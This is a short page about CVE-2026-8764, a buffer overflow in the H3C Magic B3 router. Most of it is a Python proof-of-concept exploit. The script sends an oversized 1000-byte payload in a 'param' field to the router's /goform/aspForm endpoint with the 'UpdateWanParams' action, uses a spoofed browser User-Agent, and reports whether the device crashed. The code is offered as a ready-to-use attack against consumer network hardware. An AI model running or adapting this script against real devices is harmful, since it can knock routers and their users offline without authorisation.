CVE-2026-8764 H3C Magic B3缓冲区溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://192.168.1.1/goform/aspForm" # Malicious payload to trigger buffer overflow # Adjust length based on specific buffer analysis (e.g., 1000+ bytes) payload = b"A" * 1000 # Form data including the vulnerable parameter 'param' data = { "param": payload, "action": "UpdateWanParams" # Specific function mentioned in CVE } # Headers to mimic browser interaction headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Sending the POST request # Note: This exploit requires High Privileges (Admin Auth) response = requests.post(target_url, data=data, headers=headers, timeout=5) print(f"Response Status: {response.status_code}") if response.status_code == 200: print("Payload sent successfully. Check device for crash or behavior change.") except Exception as e: print(f"An error occurred: {e}")